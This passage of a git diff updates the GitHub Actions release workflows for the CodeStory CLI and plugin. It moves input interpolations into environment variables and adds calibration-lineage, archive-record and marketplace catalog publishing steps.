}}-linux-x64.tar.gz" \ - "${{ inputs.version }}" \ + "target/release-dist/codestory-cli-v${INPUT_VERSION}-linux-x64.tar.gz" \ + "$INPUT_VERSION" \ target/linux-glibc-baseline \ "glibc 2.31" @@ -774,28 +1010,25 @@ jobs: - name: Smoke packaged release asset if: runner.os != 'Windows' + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | python .github/scripts/check-packaged-agent-proof.py \ - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.tar.gz" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" \ --checksum-file target/release-dist/SHA256SUMS.txt \ - --expected-version "${{ inputs.version }}" \ - --expected-source-sha "${{ steps.source-identity.outputs.sha }}" \ - --expected-source-tree "${{ steps.source-identity.outputs.tree }}" \ + --expected-version "$INPUT_VERSION" \ + --expected-source-sha "$SOURCE_SHA" \ + --expected-source-tree "$SOURCE_TREE" \ --version-only \ --out-dir "target/packaged-version-smoke/${{ matrix.asset_target }}" - - name: Download exact-head publishable packet quality evidence - if: matrix.asset_target == 'linux-x64' && inputs.quality_evidence_artifact != '' - uses: actions/download-artifact@v8.0.1 - with: - name: ${{ inputs.quality_evidence_artifact }} - path: target/release-quality-evidence - - name: Authenticate calibration bundle producer if: >- matrix.asset_target == 'linux-x64' && - !inputs.calibration_mode && - inputs.quality_evidence_artifact != '' + inputs.calibration_bundle_artifact != '' shell: bash env: GH_TOKEN: ${{ github.token }} @@ -820,8 +1053,7 @@ jobs: - name: Download frozen calibration bundle if: >- matrix.asset_target == 'linux-x64' && - !inputs.calibration_mode && - inputs.quality_evidence_artifact != '' + inputs.calibration_bundle_artifact != '' uses: actions/download-artifact@v8.0.1 with: name: ${{ inputs.calibration_bundle_artifact }} @@ -829,128 +1061,135 @@ jobs: run-id: ${{ inputs.calibration_bundle_run_id }} github-token: ${{ github.token }} - - name: Packaged per-user server calibration or qualification + - name: Prove frozen calibration source lineage + # The source-lineage guard needs the authenticated bundle and full + # history from the frozen-candidate qualification lane. + # --version-only stops before the runtime proof but still loads and + # verifies the bundle, and without --enforce-calibration-freeze-lineage + # a version-only proof *rejects* calibration inputs outright -- so + # deleting the flag breaks this step loudly instead of silently + # dropping the guard. if: >- matrix.asset_target == 'linux-x64' && - (inputs.calibration_mode || - inputs.quality_evidence_artifact != '') + inputs.calibration_bundle_artifact != '' + shell: bash env: - CODESTORY_EMBED_ALLOW_CPU: "1" - CALIBRATION_MODE: ${{ inputs.calibration_mode }} + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail - source_sha="$(git rev-parse HEAD)" - source_tree="$(git rev-parse 'HEAD^{tree}')" - common_args=( - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.tar.gz" - --checksum-file target/release-dist/SHA256SUMS.txt - --expected-version "${{ inputs.version }}" - --project "${{ github.workspace }}" - --plugin-root plugins/codestory - --plugin-handoff - --engine-policy cpu_explicit - --expected-backend CPU - --offline - --qualification-matrix-cell hosted_linux_x64_cpu - --expected-source-sha "$source_sha" - --expected-source-tree "$source_tree" - --timeout-secs 1800 - ) - if [ "$CALIBRATION_MODE" = true ]; then - test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen - mkdir -p target/calibration-runs/linux - for run_index in 1 2 3; do - python .github/scripts/check-packaged-agent-proof.py \ - "${common_args[@]}" \ - --proof-tier calibration \ - --produce-qualification-evidence \ - --qualification-driver target/release/codestory_embedding_qualification \ - --calibration-run-index "$run_index" \ - --calibration-run-output "target/calibration-runs/linux/run-${run_index}.json" \ - --qualification-evidence "target/calibration-runs/linux/qualification-${run_index}.json" \ - --out-dir "target/calibration-runs/linux/proof-${run_index}" - done - exit 0 - fi test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = frozen calibration_bundle="$(find target/calibration-bundle -type f -name calibration-bundle.json -print)" test "$(printf '%s\n' "$calibration_bundle" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 - quality_path="target/release-quality-evidence/packet/packet-runtime-summary.json" - test -f "$quality_path" python .github/scripts/check-packaged-agent-proof.py \ - "${common_args[@]}" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" \ + --checksum-file target/release-dist/SHA256SUMS.txt \ + --expected-version "$INPUT_VERSION" \ + --expected-source-sha "$SOURCE_SHA" \ + --expected-source-tree "$SOURCE_TREE" \ + --version-only \ --proof-tier hosted_package \ - --produce-qualification-evidence \ - --qualification-driver target/release/codestory_embedding_qualification \ - --qualification-evidence target/packaged-agent-proof/qualification.json \ --calibration-bundle "$calibration_bundle" \ - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" \ - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" \ - --retrieval-quality-evidence "$quality_path" \ - --out-dir target/packaged-agent-proof - - - name: Upload hosted Linux calibration runs - if: success() && matrix.asset_target == 'linux-x64' && inputs.calibration_mode - uses: actions/upload-artifact@v7.0.1 - with: - name: embedding-calibration-linux-${{ inputs.version }} - path: target/calibration-runs/linux - if-no-files-found: error - retention-days: 30 - overwrite: true - - - name: Upload hosted Linux calibration failure evidence - if: failure() && matrix.asset_target == 'linux-x64' && inputs.calibration_mode - uses: actions/upload-artifact@v7.0.1 - with: - name: embedding-calibration-linux-failure-evidence-attempt-${{ github.run_attempt }} - path: target/calibration-runs/linux - if-no-files-found: warn - retention-days: 30 + --calibration-producer-run-id "$CALIBRATION_RUN_ID" \ + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" \ + --enforce-calibration-freeze-lineage \ + --out-dir target/packaged-calibration-lineage - - name: Upload packaged agent proof artifacts + - name: Upload frozen calibration lineage proof if: >- always() && matrix.asset_target == 'linux-x64' && - (inputs.calibration_mode || - inputs.quality_evidence_artifact != '') + inputs.calibration_bundle_artifact != '' uses: actions/upload-artifact@v7.0.1 with: - name: packaged-agent-proof-${{ matrix.asset_target }}-attempt-${{ github.run_attempt }} - path: target/packaged-agent-proof + name: packaged-calibration-lineage-${{ matrix.asset_target }}-attempt-${{ github.run_attempt }} + path: target/packaged-calibration-lineage if-no-files-found: warn retention-days: 30 - name: Package release asset on Windows if: runner.os == 'Windows' shell: pwsh + env: + INPUT_VERSION: ${{ inputs.version }} + ARTIFACT_MANIFEST: ${{ steps.package-build.outputs.manifest }} + WINDOWS_CLI: ${{ steps.package-build.outputs.cli }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + RELEASE_RUST_TARGET: ${{ matrix.rust_target }} run: | - $bin = Join-Path $env:CARGO_TARGET_DIR "${{ matrix.rust_target }}/release/codestory-cli${{ matrix.exe_suffix }}" + node .github/scripts/cargo-build-artifacts.mjs verify ` + --manifest "$env:ARTIFACT_MANIFEST" ` + --source-sha "$env:SOURCE_SHA" ` + --source-tree "$env:SOURCE_TREE" ` + --workspace-root "$env:GITHUB_WORKSPACE" ` + --rust-target "$env:RELEASE_RUST_TARGET" + if ($LASTEXITCODE -ne 0) { + throw "Windows build-artifact verification failed with exit code $LASTEXITCODE" + } + $started = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $bin = "$env:WINDOWS_CLI" python .github/scripts/package-codestory-release.py ` - --version "${{ inputs.version }}" ` + --version "$env:INPUT_VERSION" ` --target "${{ matrix.asset_target }}" ` --binary $bin ` --out-dir target/release-dist + if ($LASTEXITCODE -ne 0) { + throw "Windows release packaging failed with exit code $LASTEXITCODE" + } + $elapsed = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() - $started + Add-Content -LiteralPath $env:GITHUB_STEP_SUMMARY ` + -Value "- Exact emitted CLI packaging: $elapsed ms" - name: Smoke packaged release asset on Windows if: runner.os == 'Windows' shell: pwsh + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | python .github/scripts/check-packaged-agent-proof.py ` - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.zip" ` + --archive "target/release-dist/codestory-cli-v$($env:INPUT_VERSION)-${{ matrix.asset_target }}.zip" ` --checksum-file target/release-dist/SHA256SUMS.txt ` - --expected-version "${{ inputs.version }}" ` - --expected-source-sha "${{ steps.source-identity.outputs.sha }}" ` - --expected-source-tree "${{ steps.source-identity.outputs.tree }}" ` + --expected-version "$env:INPUT_VERSION" ` + --expected-source-sha "$env:SOURCE_SHA" ` + --expected-source-tree "$env:SOURCE_TREE" ` --version-only ` --out-dir "target/packaged-version-smoke/${{ matrix.asset_target }}" + - name: Stage qualification driver in package proof artifact + if: inputs.include_qualification_driver + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + run: | + set -euo pipefail + node .github/scripts/qualification-driver-artifact.mjs produce \ + --asset-target "${{ matrix.asset_target }}" \ + --source-sha "$SOURCE_SHA" \ + --source-tree "$SOURCE_TREE" \ + --version "$INPUT_VERSION" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" \ + --trusted-root "$GITHUB_WORKSPACE" \ + --target-dir target \ + --out-dir "target/release-dist/qualification-driver/${{ matrix.asset_target }}" + - name: Report fresh package identity id: fresh-package shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | set -euo pipefail - archive="target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}" + archive="target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" archive_sha256="$( python -c 'import hashlib, sys; print(hashlib.file_digest(open(sys.argv[1], "rb"), "sha256").hexdigest())' \ "$archive" @@ -958,13 +1197,45 @@ jobs: { echo "### Fresh package identity" echo - echo "- Source SHA: \`${{ steps.source-identity.outputs.sha }}\`" - echo "- Source tree: \`${{ steps.source-identity.outputs.tree }}\`" + echo "- Source SHA: \`$SOURCE_SHA\`" + echo "- Source tree: \`$SOURCE_TREE\`" echo "- Archive: \`$(basename "$archive")\`" echo "- Archive SHA-256: \`$archive_sha256\`" } >> "$GITHUB_STEP_SUMMARY" echo "archive-sha256=$archive_sha256" >> "$GITHUB_OUTPUT" + - name: Produce exact candidate archive record + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + run: | + set -euo pipefail + archive_name="codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" + archive="target/release-dist/$archive_name" + archive_checksum="${archive}.sha256" + checksum_manifest=target/release-dist/SHA256SUMS.txt + record_dir="target/candidate-archive-record/${{ matrix.asset_target }}" + mkdir -p "$record_dir" + file_bytes() { + python -c 'import os, sys; print(os.path.getsize(sys.argv[1]))' "$1" + } + file_sha256() { + python -c 'import hashlib, sys; print(hashlib.file_digest(open(sys.argv[1], "rb"), "sha256").hexdigest())' "$1" + } + node .github/scripts/candidate-archive-store.mjs record \ + --output "$record_dir/candidate-archive-record.json" \ + --repository "$GITHUB_REPOSITORY" \ + --source-sha "$SOURCE_SHA" \ + --source-tree "$SOURCE_TREE" \ + --target "${{ matrix.asset_target }}" \ + --archive-name "$archive_name" \ + --archive-bytes "$(file_bytes "$archive")" \ + --archive-sha256 "$(file_sha256 "$archive")" \ + --companion "archive_checksum|${archive_name}.sha256|$(file_bytes "$archive_checksum")|$(file_sha256 "$archive_checksum")" \ + --companion "checksum_manifest|SHA256SUMS.txt|$(file_bytes "$checksum_manifest")|$(file_sha256 "$checksum_manifest")" + - name: Upload packaged version proof if: always() uses: actions/upload-artifact@v7.0.1 @@ -982,19 +1253,22 @@ jobs: - name: Emit authenticated package release cell if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ - --version "${{ inputs.version }}" \ + --expected-sha "$INPUT_REF" \ + --version "$INPUT_VERSION" \ --cell-id "package_identity:${{ matrix.asset_target }}" \ --producer-workflow .github/workflows/packaged-platform-proof.yml \ --producer-job build \ --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ --producer-artifact "release-cell-prepublish-package-${{ matrix.asset_target }}-attempt-$GITHUB_RUN_ATTEMPT" \ - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" \ --out "target/release-cells/package_identity-${{ matrix.asset_target }}.json" - name: Upload authenticated package release cell @@ -1006,19 +1280,72 @@ jobs: if-no-files-found: error retention-days: 30 + - name: Start package artifact transfer clock + id: package-transfer-clock + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs start + - name: Upload release asset uses: actions/upload-artifact@v7.0.1 with: name: codestory-cli-${{ matrix.asset_target }} path: | - target/release-dist/*.tar.gz - target/release-dist/*.zip - target/release-dist/*.sha256 + target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }} + target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}.sha256 target/release-dist/SHA256SUMS.txt if-no-files-found: error retention-days: 30 overwrite: true + - name: Upload exact candidate archive record + uses: actions/upload-artifact@v7.0.1 + with: + name: codestory-candidate-archive-record-${{ matrix.asset_target }} + path: target/candidate-archive-record/${{ matrix.asset_target }}/candidate-archive-record.json + if-no-files-found: error + retention-days: 30 + overwrite: true + + - name: Upload separate qualification driver + if: inputs.include_qualification_driver + uses: actions/upload-artifact@v7.0.1 + with: + name: codestory-qualification-driver-${{ matrix.asset_target }} + path: target/release-dist/qualification-driver/${{ matrix.asset_target }} + if-no-files-found: error + retention-days: 30 + overwrite: true + + - name: Stop package artifact transfer clock + id: package-transfer-clock-stop + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs stop + + - name: Report package artifact transfer timing + if: runner.os == 'Windows' + shell: bash + env: + STARTED_MS: ${{ steps.package-transfer-clock.outputs.started-ms }} + ENDED_MS: ${{ steps.package-transfer-clock-stop.outputs.ended-ms }} + run: | + set -euo pipefail + elapsed_ms=$((ENDED_MS - STARTED_MS)) + test "$elapsed_ms" -ge 0 + mkdir -p target/windows-package-build-timing + printf 'artifact_transfer_ms=%s\n' "$elapsed_ms" \ + > target/windows-package-build-timing/artifact-transfer.txt + echo "- Candidate artifact upload: ${elapsed_ms} ms" \ + >> "$GITHUB_STEP_SUMMARY" + + - name: Upload Windows package build timing + if: always() && runner.os == 'Windows' + uses: actions/upload-artifact@v7.0.1 + with: + name: windows-package-build-timing-attempt-${{ github.run_attempt }} + path: target/windows-package-build-timing + if-no-files-found: warn + retention-days: 30 + - name: Upload macOS notarization proof if: always() && runner.os == 'macOS' && inputs.sign_macos uses: actions/upload-artifact@v7.0.1 @@ -1049,14 +1376,18 @@ jobs: - name: Require exact frozen source shell: bash + env: + INPUT_REF: ${{ inputs.ref }} + INPUT_VERSION: ${{ inputs.version }} run: | - test "$(git rev-parse HEAD)" = "${{ inputs.ref }}" - test -n "${{ inputs.version }}" + test "$(git rev-parse HEAD)" = "$INPUT_REF" + test -n "$INPUT_VERSION" - name: Install pinned Rust + shell: bash run: | - rustup toolchain install "${{ env.RELEASE_RUST_TOOLCHAIN }}" --profile minimal - rustup default "${{ env.RELEASE_RUST_TOOLCHAIN }}" + rustup toolchain install "$RELEASE_RUST_TOOLCHAIN" --profile minimal + rustup default "$RELEASE_RUST_TOOLCHAIN" rustup target add x86_64-unknown-linux-gnu - name: Prepare checksum-pinned embedded model @@ -1066,8 +1397,8 @@ jobs: shell: bash run: | docker build --platform linux/amd64 \ - --build-arg "BUILD_IMAGE=${{ env.LINUX_GLIBC_BUILD_IMAGE }}" \ - --build-arg "GLSLC_IMAGE=${{ env.LINUX_GLSLC_IMAGE }}" \ + --build-arg "BUILD_IMAGE=$LINUX_GLIBC_BUILD_IMAGE" \ + --build-arg "GLSLC_IMAGE=$LINUX_GLSLC_IMAGE" \ --file .github/docker/linux-glibc-build.Dockerfile \ --tag codestory-linux-glibc-build \ .github/docker diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index baffe06c1..d4373c881 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -39,7 +39,6 @@ jobs: timeout-minutes: 15 outputs: pinned_cli_version: ${{ steps.pin.outputs.pinned_cli_version }} - marketplace_revision: ${{ steps.marketplace.outputs.marketplace_revision }} steps: - uses: actions/checkout@v5 with: @@ -62,14 +61,17 @@ jobs: fi - name: Validate plugin-lane version synchronization - run: python .github/scripts/check-codestory-release.py --version "${{ inputs.version }}" --lane plugin + env: + INPUT_VERSION: ${{ inputs.version }} + run: python .github/scripts/check-codestory-release.py --version "$INPUT_VERSION" --lane plugin - name: Refuse an existing plugin release env: GH_TOKEN: ${{ github.token }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - tag="v${{ inputs.version }}" + tag="v$INPUT_VERSION" if git ls-remote --exit-code origin "refs/tags/$tag" >/dev/null 2>&1; then echo "::error::$tag already exists." exit 1 @@ -123,20 +125,13 @@ jobs: fi - name: Extract plugin release notes + env: + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - node .github/scripts/extract-codestory-release-notes.mjs --version "${{ inputs.version }}" > /tmp/plugin-release-notes.md + node .github/scripts/extract-codestory-release-notes.mjs --version "$INPUT_VERSION" > /tmp/plugin-release-notes.md test -s /tmp/plugin-release-notes.md - - name: Capture the live marketplace revision - id: marketplace - shell: bash - run: | - set -euo pipefail - revision="$(git ls-remote https://github.com/TheGreenCedar/AgentPluginMarketplace.git refs/heads/main | cut -f1)" - test -n "$revision" - echo "marketplace_revision=$revision" >> "$GITHUB_OUTPUT" - plugin-proof: needs: preflight strategy: @@ -154,6 +149,11 @@ jobs: - name: Run the plugin static suite run: node --test plugins/codestory/tests/plugin-static.test.mjs + # Prove the gate below can still fail before trusting it to pass: its wait must bound + # itself on readable non-managed metadata, and it must refuse to exit 0 without proving. + - name: Check the pinned provision proof + run: node --test scripts/tests/prove-plugin-pinned-provision.test.mjs + # The launcher provisions the pinned, already-published CLI over the real # github_release path, which is the one place the pin's content addressing # is enforced. A digest drift between the pin and the published archive @@ -184,26 +184,205 @@ jobs: - name: Publish the plugin release env: GH_TOKEN: ${{ github.token }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - node .github/scripts/extract-codestory-release-notes.mjs --version "${{ inputs.version }}" > /tmp/plugin-release-notes.md - gh release create "v${{ inputs.version }}" \ + node .github/scripts/extract-codestory-release-notes.mjs --version "$INPUT_VERSION" > /tmp/plugin-release-notes.md + gh release create "v$INPUT_VERSION" \ --repo "$GITHUB_REPOSITORY" \ --target "$GITHUB_SHA" \ - --title "CodeStory plugin ${{ inputs.version }}" \ + --title "CodeStory plugin $INPUT_VERSION" \ --notes-file /tmp/plugin-release-notes.md - post-publish-smoke: + # The catalog is what a host installs from, so the plugin lane publishes it too. It is DELIVERY, + # not a gate: the tag already exists when this job runs, so a failure here must leave the release + # standing with the catalog still serving the previous one -- never fail an irreversible release. + # The run says which of the two states it ended in, and the smoke below records that state. + marketplace-publish: needs: [preflight, publish] runs-on: ubuntu-latest + timeout-minutes: 10 + environment: marketplace-publish + outputs: + catalog_published: ${{ steps.delivery.outputs.catalog_published }} + marketplace_revision: ${{ steps.delivery.outputs.marketplace_revision }} + steps: + - uses: actions/checkout@v5 + + - name: Mint a scoped marketplace token + id: token + continue-on-error: true + uses: actions/create-github-app-token@67e27a7eb7db372a1c61a7f9bdab8699e9ee57f7 # v1.11.3 + with: + app-id: ${{ secrets.MARKETPLACE_APP_ID }} + private-key: ${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }} + owner: TheGreenCedar + repositories: AgentPluginMarketplace + + # Publication already happened, so a failure here leaves the catalog serving the previous + # release rather than a release that does not exist. marketplace-sync.yml recovers it. + # One attempt only: a retry loop here would hide which failure the run actually hit. + - name: Point the catalog at the published release + id: publish + if: steps.token.outcome == 'success' + continue-on-error: true + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + node .github/scripts/publish-marketplace-catalog.mjs \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$GITHUB_SHA" \ + --version "$INPUT_VERSION" \ + --github-output "$GITHUB_OUTPUT" + + # The only place this lane's "catalog was updated" claim is ever minted. + - name: Record catalog delivery outcome + id: delivery + if: always() + env: + TOKEN_OUTCOME: ${{ steps.token.outcome }} + PUBLISH_OUTCOME: ${{ steps.publish.outcome }} + PUBLISHED_REVISION: ${{ steps.publish.outputs.marketplace_revision }} + RECOVERY_WORKFLOW: marketplace-sync.yml + run: | + set -euo pipefail + catalog_published=false + marketplace_revision="" + if [ "$TOKEN_OUTCOME" = "success" ] \ + && [ "$PUBLISH_OUTCOME" = "success" ] \ + && printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'; then + catalog_published=true + marketplace_revision="$PUBLISHED_REVISION" + fi + echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT" + echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" + if [ "$catalog_published" = "true" ]; then + echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + # $RECOVERY_WORKFLOW mints the SAME credential from the SAME environment, so it recovers a + # rejected push, not a missing credential. Saying so here keeps the recorded recovery + # instruction one that can actually be followed. + if [ "$TOKEN_OUTCOME" != "success" ]; then + recovery="provision the marketplace-publish credential, then run $RECOVERY_WORKFLOW (it mints the same token, so it defers as well when that credential is absent)" + else + recovery="re-run $RECOVERY_WORKFLOW with this version and commit" + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW: $recovery." + echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" + + post-publish-smoke: + # Deliberately not gated on marketplace-publish: a deferred catalog must not suppress proof of + # the plugin that was actually published. The delivery state is carried in, not depended on. + if: always() && needs.preflight.result == 'success' && needs.publish.result == 'success' + needs: [preflight, publish, marketplace-publish] + runs-on: ubuntu-latest timeout-minutes: 30 steps: + # The published release tag, not the run's own head. A bare checkout gave this job the + # workspace it was triggered from, and the deferred branch then built a catalog out of + # that workspace and verified the install back against the same tree -- a comparison that + # could not fail for any release-related reason. Resolving the tag makes the commit under + # proof the one the release actually published. - uses: actions/checkout@v5 + with: + ref: v${{ inputs.version }} + fetch-depth: 0 + + # The tag alone is a local name; this is where it becomes the PUBLISHED identity. The + # published release must exist, must not be a draft, and must resolve to the commit this + # job checked out. Every later step pins that commit, so the fixture catalog, the Codex + # resolve, and the byte comparison all name a release GitHub is actually serving. + - name: Bind this smoke to the published release + id: published + shell: bash + env: + GH_TOKEN: ${{ github.token }} + TAG: v${{ inputs.version }} + run: | + set -euo pipefail + draft="$(gh release view "$TAG" --repo "$GITHUB_REPOSITORY" --json isDraft --jq .isDraft)" + if [ "$draft" != "false" ]; then + echo "::error::Published plugin release $TAG is a draft." + exit 1 + fi + published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then + echo "::error::Checked-out tree is not the commit published at $TAG." + exit 1 + fi + echo "commit=$published_commit" >> "$GITHUB_OUTPUT" + echo "Smoking the plugin published at $TAG ($published_commit)." >> "$GITHUB_STEP_SUMMARY" + + # Same two states as the native lane, decided once from the recorded publication outcome. + # Published resolves the live catalog; deferred resolves a catalog pinned to this exact + # published commit, because the live one still names the previous release. Neither may be + # reached by accident: an inconsistent or unrecognized handoff stops the job. + - name: Record catalog delivery state + id: delivery + shell: bash + env: + CATALOG_PUBLISHED: ${{ needs.marketplace-publish.outputs.catalog_published == 'true' }} + INPUT_MARKETPLACE_REVISION: ${{ needs.marketplace-publish.outputs.marketplace_revision }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} + run: | + set -euo pipefail + # The commit GitHub reports for the published tag, bound in the previous step. + published_commit="$PUBLISHED_COMMIT" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" + rm -rf "$fixture_root" + if [ "$CATALOG_PUBLISHED" = "true" ]; then + marketplace_source=TheGreenCedar/AgentPluginMarketplace + marketplace_revision="$INPUT_MARKETPLACE_REVISION" + local_fixture=false + installer=codex_marketplace_install + state=published + elif [ "$CATALOG_PUBLISHED" = "false" ]; then + if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then + echo "::error::Deferred catalog publication must not carry a live catalog revision." + exit 1 + fi + # Pinned to the PUBLISHED commit resolved from GitHub, not to whatever this + # workspace happens to be. The Codex resolver then fetches that commit from + # github.com, so the installed bytes come from the published release rather than + # from the tree performing the check. + node .github/scripts/build-marketplace-fixture.mjs \ + --out "$fixture_root" \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$published_commit" + marketplace_source="$fixture_root" + marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" + local_fixture=true + installer=codex_marketplace_deferred_fixture + state=deferred + else + echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." + exit 1 + fi + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' + { + echo "marketplace_source=$marketplace_source" + echo "marketplace_revision=$marketplace_revision" + echo "local_fixture=$local_fixture" + echo "installer=$installer" + echo "state=$state" + } >> "$GITHUB_OUTPUT" + if [ "$state" = "deferred" ]; then + echo "::warning::Catalog publication was deferred for this release. This smoke proves the published plugin against a candidate-pinned catalog fixture and records installer $installer; recover the public catalog with marketplace-sync.yml." + fi + echo "Catalog delivery state: $state (installer $installer, catalog revision $marketplace_revision)." >> "$GITHUB_STEP_SUMMARY" - name: Prove the public marketplace install path env: CODEX_CLI_VERSION: "0.144.5" - MARKETPLACE_REVISION: ${{ needs.preflight.outputs.marketplace_revision }} + MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} + MARKETPLACE_SOURCE: ${{ steps.delivery.outputs.marketplace_source }} + LOCAL_FIXTURE: ${{ steps.delivery.outputs.local_fixture }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-marketplace-postpublish" @@ -218,9 +397,10 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source TheGreenCedar/AgentPluginMarketplace \ + --marketplace-source "$MARKETPLACE_SOURCE" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$MARKETPLACE_REVISION" \ - --expected-version "${{ inputs.version }}" \ + --local-fixture "$LOCAL_FIXTURE" \ + --expected-version "$INPUT_VERSION" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" diff --git a/.github/workflows/plugin-static.yml b/.github/workflows/plugin-static.yml index ed8da8f08..f9e5abb9a 100644 --- a/.github/workflows/plugin-static.yml +++ b/.github/workflows/plugin-static.yml @@ -12,6 +12,9 @@ on: - .github/scripts/package-codestory-release.py - .github/scripts/check-workflow-policy.mjs - .github/scripts/check-workflow-policy.test.mjs + - .github/scripts/collect-actions-job-evidence.sh + - .github/scripts/lost-runner-recovery.mjs + - .github/scripts/lost-runner-recovery.test.mjs - .github/scripts/cargo-cache-contract.mjs - .github/scripts/cargo-cache-contract.test.mjs - .github/scripts/install-codestory-marketplace-proof.mjs @@ -62,6 +65,9 @@ on: - scripts/tests/release-evidence-runner-contract.test.mjs - scripts/codex-worktree-setup.* - scripts/tests/codex-worktree-setup.test.mjs + - scripts/prove-plugin-pinned-provision.mjs + - scripts/lib/wait-for-managed-runtime.mjs + - scripts/tests/prove-plugin-pinned-provision.test.mjs - .codex/environments/environment.toml push: branches: @@ -77,6 +83,9 @@ on: - .github/scripts/package-codestory-release.py - .github/scripts/check-workflow-policy.mjs - .github/scripts/check-workflow-policy.test.mjs + - .github/scripts/collect-actions-job-evidence.sh + - .github/scripts/lost-runner-recovery.mjs + - .github/scripts/lost-runner-recovery.test.mjs - .github/scripts/cargo-cache-contract.mjs - .github/scripts/cargo-cache-contract.test.mjs - 